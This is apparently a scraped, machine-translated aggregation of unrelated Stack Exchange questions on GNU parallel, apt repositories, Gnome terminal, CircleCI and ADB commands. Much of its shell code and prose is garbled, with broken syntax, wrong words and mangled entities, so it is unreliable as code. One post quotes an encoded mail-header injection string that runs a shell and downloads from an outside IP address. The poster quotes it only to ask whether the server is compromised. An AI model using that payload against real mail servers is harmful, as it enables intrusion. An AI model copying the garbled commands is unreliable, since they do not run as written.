bash – Gnu in parallel: How do I create a command with the –link option to extend the positional arguments?

The problem

I use GNU in parallel and want to pass two files to a program ::: Operator. My directory tree looks like this:

$ ls


The following code:

#! bin / bash
ones = $ (find SRR * pass * 1 * .fq)
Deuces = $ (Find SRR * pass * 2 * .fq)
Parallel link echo ::: $ ones ::: $ twos


SRR6301033_pass_1_trimmed.fq SRR6301033_pass_2_trimmed.fq
SRR6301034_pass_1_trimmed.fq SRR6301034_pass_2_trimmed.fq

But I need the output to look like this:

-1 SRR6301033_pass_1_trimmed.fq -2 SRR6301033_pass_2_trimmed.fq
-1 SRR6301034_pass_1_trimmed.fq -2 SRR6301034_pass_2_trimmed.fq

What I have already tried


$ parallel --link echo -1 ::: $ ones -2 ::: $ twos


-1 SRR6301033_pass_1_trimmed.fq SRR6301033_pass_2_trimmed.fq
-1 SRR6301034_pass_1_trimmed.fq SRR6301034_pass_2_trimmed.fq

and the:

$ parallel --link echo -1 ::: $ ones ::: $ twos


-1 SRR6301033_pass_1_trimmed.fq -2
-1 SRR6301034_pass_1_trimmed.fq SRR6301033_pass_2_trimmed.fq
-1 SRR6301037_pass_1_trimmed.fq SRR6301034_pass_2_trimmed.fq

Design Pattern – How do I update data and return a list of updates without interrupting the separation of command queries or DRY?

Stack Exchange network

The Stack Exchange network consists of 176 Q & A communities, including Stack Overflow, the largest and most trusted online community where developers can learn, share, and build a career.

Visit Stack Exchange

Command line – How do I reset the repositories in Ubuntu 18.04 on the Other Software tab under Software and Updates?

I've gone through the steps to upgrade MySQL from version 5 to version 8. Without further thought, I inserted these commands into the terminal sudo apt-key adv --keyserver .... from Ubuntu 12 version have been added. Therefore, I manually removed them later from the Other Software tab under Software and Updates. Somehow it got better, but whenever I put in the command sude apt-get updateends with the error given below

N: For details about repository creation and user configuration, see the apt-secure help page (8).

Terminal, if "sudo apt-get update" was inserted

I am still unable to find a solution.
Thank you in advance for your help 🙂

Command line – Gnome terminal does not start

I have a problem with my terminal. It will not start, even if I type Ctrl + Alt + T. Only one load icon is displayed, but nothing happens. I can only access my terminal with vs code and try to start another terminal by using:

gnome-terminal.real - window

The terminal raises the following:

Error creating proxy for org.gnome.Terminal: / org / gnome / Terminal / Factory0:
Error calling StartServiceByName for org.gnome.Terminal: GDBus.
Error: org.freedesktop.DBus.Error.Spawn.ChildExited: Process org.gnome.Terminal terminated with status 9

Strange root command for frozen e-mail

Hello, Today I found 5 randomly generated emails (the first part was random, the domain was the same and it belongs to one of our clients). E-mail address, I deleted it, but then I saw an e-mail with this address as sender address:

root + $ {run { x2Fbin x2Fsh t-c x22wget x2064.50.180.45 x2ftmp x2f000.000.00.000 x22}} @

the correspond to our server IP and the to our server hostname,

The emails were the typical phishing spam e-mails.

should I be worried?

I ran rkhunter with only warnings that I saw on google were normal, even chkrootkit without any hit.

Thanks for your help.

Linux – How do I write with the echo command using an existing environment variable in $ BASH_ENV?

I'm creating an application with CircleCI and would like to return an environment variable in $ BASH_ENV so that it stays between CircleCI steps.

A working example of this is:

echo & # 39; export TEST_NAME = $ (cat dockername.txt) & # 39; >> $ BASH_ENV

This will load the TEST_NAME correctly in the following CircleCI steps. I'm now trying to do the same thing, where the variable matches an existing environment variable.

export VAR = FOO
echo $ VAR // returns & # 39; FOO & # 39; out

echo & # 39; export TOKEN = $ VAR & # 39; >> $ BASH_ENV
// TOKEN returns null in the same and subsequent steps. I want it to be FOO

I've tried every variation of the syntax for this to work, but I can not seem to crack it. Any thoughts?

Root Access – Is it possible to execute multiple ADB commands as a single-line command? (case change

Is it possible to execute the following commands as a single-line command? to quickly change and gain something

C:  Users  Users  Desktop> ADB Push Boot Animation / SD Card
C:  Users  Users  Desktop> AdB Shell
$ su
# mount -o rw, remount / system
# cp /sdcard/ /system/media/
# chmod 644 /system/media/
# Restart